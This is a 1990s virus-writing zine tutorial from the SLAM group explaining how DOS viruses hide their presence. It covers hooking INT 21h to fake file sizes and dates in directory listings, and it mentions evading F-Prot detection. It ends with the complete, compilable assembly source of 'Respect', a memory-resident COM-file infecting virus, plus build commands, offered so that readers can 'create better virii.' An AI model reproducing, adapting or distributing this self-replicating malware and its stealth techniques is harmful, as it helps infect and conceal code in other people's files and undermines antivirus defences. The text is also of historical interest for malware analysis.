Simple Tutorial to Stealth Virii
Part #1 - Size Stealth #1
by Virtual Daemon [SLAM]

part #2
part #3

        Well, here's another lame tutorial written by me... ;-))
     I wrote this shit in december 1996, but since SLAM#3 is out I've re-aranged
     it a little, and here it is...
       The reason why I'm writting all this tutorials, is because I want to make
     other people learn this stuff, learn how to create better virii. These
     tutorials should provide enough informations for people who don't know this
     stuff already... Anyway, I'm gonna make more tutorials as soon as I'm
     learning something new. Every new step I'll make in virii development will be
     followed by a tutorial. During 1 year and a half, I've written several
     tutorials... A big part of them will be presented in future releases of SLAM
     Magazine. I hope that I'll make some new tutorials this year, bcoz I've
     learned a lot since then, and I think that would be good if I'll share my
     knowdlege with others! p.s. Hey lamers! Watch out! This tutorials are for
     smart people who want and like to learn how to create virii, not for U! Go
     play with your d*ck in the ground, and leave this phile now!!! The virus
     included in this phile is made for research only... Anyway, it's kind of old
     an kind of lame, so I guess you can do whatever you want with it! "WHATEVER"
     doesn't mean that you just take the virus, put your name in it, and
     distribute it saying that it's yours! ;) That makes you a big fuckin lamer!
     And I hate lamers (shit, who doesn't? ;)))!
       But let's get back to the show... :-P

       Some of U are wondering what a stealth virus is. Well, a stealth virus is a
     virus who can practicaly hide in your system. Many viruses have included this
     feature during the years, some better, some not... So, a stealth virus can't
     be seen so easily... it can hide from your memory, from your files even from
     your MBR/boot! In a word it can be "almost" invisible!

       In this tutorial I will talk more about the size stealth, and less about
     other methods. At the end of the tutorial I've included a virus made by me
     (it's pretty old) called "Respect"! ;) The virus traps INT 21h and will
     infect COM files on 4bh(=execute). The stealth function are implemented for
     11h/12h (FCB), 4eh/4fh (DTA) and 5700h (get file time/date).

      What is size stealth? Well, size stealth is a method wich can hide your true
     filesize. This way, if a virus of 356 bytes infected a file of 22334 bytes,
     the infected file size will be 22334+356=22690, right? Well, the size stealth
     method will practicaly "cut" the last 356 bytes (size of virus), so the
     infected file will have only 22334 bytes, just like the beginning.
     Conclusion: the file was infected but the size is still the same.
      How's that possible? Well, there are two steps (A and B ;)...

       The DOS operating system has 2 methods for searching files: one via FCB
     (11h/12h) and the other with file handles (4eh/4fh).
    A)  The 1st step is to hide the file size for (sub)programs like DIR.
       DIR uses the 11h/12h DOS function (FCB) althought almost all the other
     programs from DOS 2+ are using the file handles method. So, we have to hide
     our file from both, FCB and file handles.
    B)  Well, here goes the 2nd step: to hide your virus from programs that search
      files via file handles method (programs like Norton Commander, or other shity
      shells)...

       Got it? Ok. So, all we have to do is to make a TSR virus with handler on
     INT 21h, who can trap the 4bh (for infection), 11h, 12h, 4eh,4fh (for size
     stealth) and 5700h (for hiding the modified date/time) DOS functions.
       When INT 21h is called by DOS, the function requested will be first
     intercepted by our handler, right? We compare the function which is executed
     with 11h,12h,4eh or 4fh functions, and if equal, we're gonna try to cut the
     size of the file... Now, all we have to do to make it stealth (to cut it)
     is to get the file size, then to substract the size of our virus, and then
     to put it back (the size of the file) in memory... Simple, ha'? ;)

       But there's a little problem... How can we know if the file is infected
     with our virus? We can't just "cut" all the COM (or EXE) files that are being
     searched with one of the above functions (11h,12h,4eh,4fh)... ;(
     Well, we just have to "mark" our file in some way! We can check if the
     4th byte or something is equal to xx (our value) and then we'll cut it.
     Good ideea, BUT too much code for this shit, don't U think? And of course
     the system will go too slow! We'll have to open the file, then read, then
     compare, and then close it back.
       No, this is not a good ideea! There are a very small number of virii
     who are checking with this method, and that bcoz their authors don't care
     too much about the virus size, or about their speed.
       There's another method for doing this. We'll mark our file in another
     way. We'll *fuck* (read "modify" ;) the years number!!! :)
       When U're trying to view a file's date, U'll probably get something
     like this: 05-27-96! Well, 05 is the month, 27 the day of the month and
     (19)96 the year, right? What do U think it will happen if we'll just add
     100 to number of years? The year will be 2096, but U will still see the
     date like 05-27-96!!! Of course, there are some programs who can display
     the whole year, and this is the reason why we're gonna intercept the get
     file date/time DOS function (AX=5700h)!
       So, we'll have to check if some program tryes to find out the date/time
     of our infected file. If we wouldn't check for this, then maybe the
     respective program will find our date (which will be 2096 if the original
     file year was 1996)... The user will see that his file has an invalid date
     so he will guess that maybe he has a virus! That's why, in our INT 21h
     handler, we must check for 5700h (DOS Function=get file date/time). If the
     5700h function is requested by a program, our handler will trap the request
     first. What we have to do is a little check if the specified file is
     infected with our virus, and if so, we'll substract 100 years, and we'll
     put the new value in memory. This way, the user will see that his file was
     created/last modified in 1996! So, the user will turn into a big fucking
     lamer and he will think that everything is OK, and that he has no virus!
     Well, I guess this is our sacred duty.... TO FUCK LAMERS! ;))))

       Another way for marking the file is to modify the seconds number. We'll
     choose a number, and in every file that gets infected will just gonna modify
     the original file's seconds with our value.
       It's obvious why we can't modify the hours/minutes/day/month! That can be
     seen almost by anyone! Anyway, U can do it if U really want to... Nobody
     will stop ya'! Well, nobody except the AVers...:)

       So we have two ways: the century method and the seconds method...
     But first, let's see how our INT 21h handler is gonna look:

     my_int21_handler:
        ...           ;here we're gonna check if the virus has alredy been
                      ; infected... or other stuff ;)
        cmp ah,4bh    ;is the file being executed or loaded?
        jne next      ; nnneeeeaahhhhh... ;( Too bad!
        jmp infect    ; Great, we'll try to infect it!
     next:
        cmp ah,11h            ;\
        je FCB_stealth        ;  \
        cmp ah,12h            ;    \
        je FCB_stealth        ;      \ Here we check if it's a search function,
        cmp ah,4eh            ;      / and if so, will try to "stealth" the file
        je DTA_stealth        ;    /
        cmp ah,4fh            ;  /
        je DTA_stealth        ;/
        cmp ax,5700h          ;anyone likes to see the file's date/time? ;)
        je time_stealth       ;in the Respect virus, the time_stealth procedure
                              ; was too far from the INT 21h handler, so this
                              ; jump was replaced by "jne exithandler
                              ;                       jmp time_stealth"
        ; P.S. I told U this bcoz I don't wanna see ya confused or anything! ;-)
     exithandler:
        db 0eah       ;exit from our handler and return to original INT 21h
     oldint21   dd ?  ;variable which contains the old INT 21h segment/offset

      In the Respect virus, I added 100 years to original year of the file...
     So, I'm using the century method to check if the file is already infected.
     The seconds method is practically the same with the century method... All
     you have to do is to modify some basic instructions. Here's an example for
     seting the seconds number to 60:

     a) for marking:
        -----------
         mov ax,5701h               ;set file date/time
         mov cx,file_time           ;get original file time
         mov dx,file_date           ;get original file date
         or cl,1eh                  ;set the seconds number to 60
         int 21h
     b) for checking:
        ------------
         ;get timestamp in ax
         and al,1eh         ;test if infected (1eh=30)
         cmp al,1eh         ;check if al=30 (number of seconds div 2)
         jnz error          ;if not equal then don't stealth
         ;here comes the stealth part

      Ok. Now that you've got all this crap, I'm gonna try to explain the theory
     of the size stealth method. I wont give ya' any examples bcoz the stealth
     procedures from the Respect virus are very well commented (I think! ;-)...

      We'll begin with the FCB method...
      What U have to do first is to fake a DOS call, bcoz you don't have
     anything to stealth right now. If no errors have encountered you must get
     the PSP (Program Segment Prefix) from memory. You can do that in 2 ways:
     one with 51h and the other with 62h. Both this functions will return in
     es:bx the current PSP. Then you must check if the PSP is ok (if it's the
     DIR command who's calling not ChkDsk or other shit). Next you have to get
     the DTA's adress with the DOS function 2fh. It will return the address of
     the start of the current DTA in es:bx. After this, you must check if the
     FCB is extended or not. The difference between the "normal" FCB and the
     extended FCB is that the 2nd one has some extra bytes more then the normal
     FCB (there are some DOS reserved areas in that bytes). So, to access the
     bytes that we want we must skip some bytes if the FCB is extended. Actually,
     we must skip about 7 bytes.
       I will make a little paranthese here to tell ya' the structure of FCB
     (file control block) and the structure of extended FCB.

      Normal FCB:
      Offset   Size   Description
      ------   ----   ------------
      00h       1     Drive id (00=actual, 01=A:, 02=B:, 03=C: etc.)
      01h       8     File name.Space filled if less than 8 characters
      09h       3     File extension
      0Ch       2     Current block number
      0Eh       2     Logical record size (bytes)
      10h       4     File size in bytes
      14h       2     Date (last modified)
      16h       2     Time (last modified)
      18h       4     DOS Reserved area
     þ1Ch       4     Same as 10h (this is what you see on your screen)
      20h       1     Offset from actual register
      21h       4     Relative record
        þ=offset modified by our virus

      Extended FCB: looks almost the same as normal FCB, except there are 7 bytes
      added to the beginning (before offset 00h)
      Offset   Size   Description
      ------   ----   -----------
      -07h      1     always FFh. This flag indicate that this is extended FCB
      -06h      5     Reserved by DOS
      -01h      1     File attribute
      +00h      25h   Normal FCB

      Well, I hope you understand what's going on..;) Anwyay, all the "heavy" job
     is done. What's left to be done, is to get in ax the datestamp (or timestamp)
     then to check if you have infected the file, and then to substract the size
     of your virus from the file's size (that can be done by modifying offset 1ch
     where the file size is stored). Of course, before this, you can check if the
     filesize isn't too small.

       Got it till now? If you don't get it right now, don't worry... just read
     the phile again and then see how the Respect virus is made, and you WILL
     get it! ;) This stuff should not take you much then 15 minutes (maximum)
     to understand it!

       Ok. Now, let me explain the file handles stealth method (DTA_stealth)...
       The DTA stealth method is practically the same with the FCB method, just
     a little simpler... Again, you must begin with a fake int 21h call. The
     errors can be checked with a simple "jc" (jump if CF=1), bcoz the 4eh/4fh
     DOS functions automaticaly sets up the carry flag on error. After this...
     the same old story: get the DTA, then the date/time stamp, do some checkin
     and then stealth the file!

       Hmmm... Think that's all... I don't know what else I could say about the
     size stealth method. Anyway, the Respect virus is here, and the stealth
     functions are well commented (I think), so U shouldn't have any problems
     with it!
       Oh yeah... I forgot something! Respect is a TSR COM virus. If you wanna
     make an TSR stealth that will infect EXE files you must stealth the high
     word too! Here's an example:
      sbb word ptr es:[bx+1fh],0    ;insert this in the FCB_stealth procedure
      sbb word ptr es:[bx+1ch],0    ;insert this in the DTA_stealth procedure

       Remember: this is a stealth tutorial, not a tutorial on how to make TSR
     virii!!! If you don't know how to make a TSR virus, then I guess you wont
     understand much from this tutorial...

      P.S. In the next issue I'll try to explain the Full Stealth method
      (infection/desinfection) or the memory stealth method or the MBR/BS method!
      Dunno which of those right now, but I'll certanly do one of it! It's pretty
      easy to do it, and I guess there are some guys who would like to know that!

      Well, enjoy reading the virus! Peace! ;)

    ----- cut here -----
    ; Virus Name: Respect
    ; Virus Author: Virtual Daemon
    ; Group: SLAM
    ; Virus Type: TSR stealth COM infector
    ; Virus Size: 624 bytes
    ; Virus created on 14 January 1997 (dunno what time but I think it was
    ;                   morning... maybe at 3-4 am... ;)))
    ;
    ; Comments: -infection on 4bh (=execute)
    ;           -stealth on 11h/12h (FCB) and 4eh/4fh (DTA)
    ;           -intercept 5700h for more "stealthness" ;)))
    ;           -INT 24h handler (for errors)
    ;           -restore original file date/time/attributes
    ;           -no payload, no encryption... :( just for learning basic stealth!
    ; To compile use: TASM respect.asm
    ;                 TLINK respect.obj
    ;                 EXE2BIN respect.exe respect.com
    ;                 DEL respect.exe  \
    ;                 DEL respect.obj   => delete un-necessary files
    ;                 DEL respect.map  /
    .model tiny
    .code
       org 0
    begin:
       call start
    start:
       pop bp
       sub bp,offset start

       push ds
       push es

       mov ax,'=-'                  ;check if the virus is already installed
       int 21h
       cmp cx,'-='
       je complete

       mov ah,4ah                   ;get largest block available
       mov bx,0ffffh
       int 21h

       sub bx,(endheap-begin+15)/16+1       ;substract from it our virus
       mov ah,4ah
       int 21h
       jc complete
       sub word ptr ds:[2],(endheap-begin+15)/16+1

       mov ah,48h                   ;allocate memory for the virus
       mov bx,(endheap-begin+15)/16
       int 21h
       jc complete

       mov es,ax
       dec ax
       mov ds,ax

       mov byte ptr ds:[0],'Z'      ;mark the MCB
       mov ax,8                     ;F-Prot will no longer detect a new Chill
       mov word ptr ds:[1],ax       ;variant....

       push cs
       pop ds
       xor di,di
       mov cx,(heap-begin)/2+1
       mov si,bp
       rep movsw                    ;load the virus in memory

       xor ax,ax
       mov ds,ax
       push ds
       lds ax,ds:[21h*4]            ;save old INT 21h interrupt vector
       mov word ptr es:oldint21,ax
       mov word ptr es:oldint21+2,ds
       pop ds
       mov word ptr ds:[21h*4],offset int21 ;set our INT 21h handler
       mov ds:[21h*4+2],es
    complete:
       pop es
       pop ds
       lea si,[bp+offset jmpbuf]    ;restore saved bytes
       mov di,100h
       push di
       movsw
       movsb
       retn                         ;return to host
    jmpbuf   db 0cdh,20h,0

    ; our INT 24h handler
    int24:
       mov al,3h                    ;don't display errors
       iret

    ; the INT 21h handler
    int21:
       cmp ax,'=-'
       jne continue
       mov cx,'-='
       iret
    continue:
       cmp ah,4bh
       jne next
       jmp infect
    next:
       cmp ah,11h
       je FCB_stealth
       cmp ah,12h
       je FCB_stealth
       cmp ah,4eh
       je DTA_stealth
       cmp ah,4fh
       je DTA_stealth
       cmp ax,5700h
       jne exithandler
       jmp time_stealth
    exithandler:
       db 0eah
    oldint21   dd ?

    ; The FCB stealth method = hides infected file(s) from DIR
    FCB_stealth:
       pushf
       push cs
       call exithandler             ;fake a int 21h call
                                    ;on return ds:dx will point to unopened FCB
       or al,0                      ;check if the dir call was sucessfull...
                                    ;al=0 => no errors
       jnz skip_dir                 ;if error then return to original 11h/12h
       push ax bx es                ;save ax,bx and es registers

       mov ah,51h                   ;DOS function=get current PSP to es:bx
       int 21h
       mov es,bx
       cmp bx,es:[16h]              ;is the PSP ok? we must check if it's a DIR
       jnz error                    ; call and not other programs

       mov bx,dx                    ;get offset to unopened FCB in bx
       mov al,[bx]                  ;al holds current drive
       push ax                      ;extended FCB=FFh
       mov ah,2fh                   ;DOS function=get DTA area in es:bx
       int 21h

       pop ax                       ;restore ax (can be 0 or FFh)
       inc al                       ;if the FCB is extended then FFh+1=0
                                    ;if not then 0 + 1 = 1 <> 0
       jnz no_ext                   ;not EXTENDED? Proceed then... ;)
       add bx,7                     ;if EXTENDED then bx:=bx+7
                                    ;EXTENDED FCB's have some extra bytes so we
                                    ; must skip those bytes
    no_ext:
       cmp word ptr es:[bx+1fh],0   ;is > 65k?
       jnz error                    ;guess so... ;( gotta go then!
       mov ax,es:[bx+19h]           ;get datestamp in ax
       cmp ah,100                   ;if ah is greater then 100 then the file
                                    ; is infected with our virus
       jb error                     ;if not then get out of here!

       ror ah,1                     ;rotate to right
       sub ah,100                   ;years=years-100 => the original file's year
       rol ah,1                     ;rotate to left
       mov es:[bx+19h],ax           ;restore the original year in memory

       sub word ptr es:[bx+1dh],(heap-begin) ;substract our virus size
    error:
       pop es bx ax                 ;restore registers es, bx and ax
    skip_dir:
       retf 2                       ;return far

    ; The file handle stealth method = hides infected file(s) from progs like NC
    DTA_stealth:
       pushf
       push cs
       call exithandler             ;fake a int 21h call
       jc no_files                  ;the 4eh/4fh functions automaticaly
                                    ; set up the carry flag on error

       pushf                        ;push the flags bcox they will be destroyed
                                    ; by the int call
       push ax di es bx             ;save ax,di,es and bx registers

       mov ah,2fh                   ;DOS function=get DTA area in es:bx
       int 21h

       mov ax,es:[bx+18h]           ;get datestamp
       cmp ah,100                   ;check if above 100
       jb not_inf                   ;if not return

       cmp word ptr es:[bx+1ah],(heap-begin) ;check if the file is too small
       ja hide                      ;if not too small go and stealth it
       cmp word ptr es:[bx+1Ch],0   ;check if too large
       je not_inf
    hide:
       ror ah,1
       sub ah,100                   ;get the original file's year back
       rol ah,1
       mov es:[bx+18h],ax           ;put the original year in memory

       sub word ptr es:[bx+1ah],(heap-begin)  ; hide file size
    not_inf:
       pop bx es di ax              ;restore bx,es,di and ax registers
       popf                         ;restore flags
    no_files:
       retf 2                       ;return far

    ; The time stealth method = hides infected file(s)'s time/date from being seen
    time_stealth:
       pushf
       call dword ptr cs:[oldint21] ;fake a int 21h call
       jc shit                      ;if error then return
       cmp dh,100                   ;check if years > 100
       jb no_way                    ;if not then return
       ror dh,1                     ;\
       sub dh,100                   ; "adjust" the file's year :-)
       rol dh,1                     ;/
    no_way:
       iret                         ;return
    shit:
       retf 2                       ;return far

    infect:
       pushf
       push ax bx cx dx si di bp ds es
       push ds
       push dx

       mov ax,3524h                 ;get old INT 24h handler
       int 21h
       mov word ptr cs:[old_int24],bx
       mov word ptr cs:[old_int24+2],es

       push cs
       pop ds
       lea dx,int24                 ;set our INT 24h handler
       mov ax,2524h
       int 21h

       pop dx
       pop ds
       mov ax,4300h                 ;get file attributes
       int 21h
       push ds
       push dx
       push cx

       mov ax,4301h                 ;set new attributes (archive only)
       xor cx,cx
       int 21h

       mov ax,3d02h                 ;open the file for reading and writting
       pushf
       push cs
       call exithandler
       xchg ax,bx

       mov ax,5700h                 ;get file's date/time
       pushf
       call dword ptr cs:[oldint21]
       mov word ptr cs:[file_time],cx
       mov word ptr cs:[file_date],dx

       push cs
       pop ds
       push cs
       pop es

       mov ah,3fh                   ;read from file the first 3 bytes
       lea dx,buffer                ;save them into our buffer
       mov cx,3
       int 21h

       mov ax,4202h                 ;go to EOF
       xor cx,cx
       cwd
       int 21h

       mov word ptr file_size,ax
       mov word ptr file_size+2,dx

       cmp word ptr buffer,'MZ'     ;check if EXE
       je close_file
       cmp word ptr buffer,'ZM'
       je close_file

       mov ax,word ptr file_size    ;check if too big
       cmp ax,65535-(endheap-begin)
       ja close_file

       mov cx,word ptr buffer+1     ;check if already infected
       add cx,heap-begin+3
       cmp ax,cx
       je close_file

       mov di,offset jmpbuf         ;prepare new JMP
       mov si,offset buffer
       movsb
       movsw
       mov byte ptr [offset buffer],0e9h
       sub ax,3
       mov word ptr [offset buffer+1],ax

       mov ah,40h                   ;write the virus to file
       lea dx,begin
       mov cx,heap-begin
       int 21h

       mov ax,4200h                 ;go to BOF
       xor cx,cx
       cwd
       int 21h

       mov ah,40h                   ;write the new JMP
       lea dx,buffer
       mov cx,3
       int 21h

       mov ax,5701h                 ;set old file's time/date
       mov cx,word ptr cs:[file_time]
       mov dx,word ptr cs:[file_date]
       ror dh,1                     ;mark the file for steath
       add dh,100
       rol dh,1
       int 21h
    close_file:
       mov ah,3eh                   ;close the file
       int 21h

       mov ax,4301h                 ;set old attributes
       pop cx
       pop dx
       pop ds
       int 21h

       mov ds,word ptr cs:[old_int24+2]
       mov dx,word ptr cs:[old_int24]
       mov ax,2524h                 ;set old INT 24h handler
       int 21h
    exit:
       pop es ds bp di si dx cx bx ax
       popf
       jmp exithandler

    old_int24   dd ?
    virus_name  db 'Respect'
    signature   db '[VD/SLAM]'
    heap:
    file_size   dd ?
    file_time   dw ?
    file_date   dw ?
    buffer   db 3 dup (?)
    endheap:
    end begin
    ----- cut here -----

      Tools used: Turbo Assembler 3.2, Turbo Linker 5.1, Tech Help 4.0a + a text
     editor... :)

      You can reach me via e-mail at: virtual_daemon@hotmail.com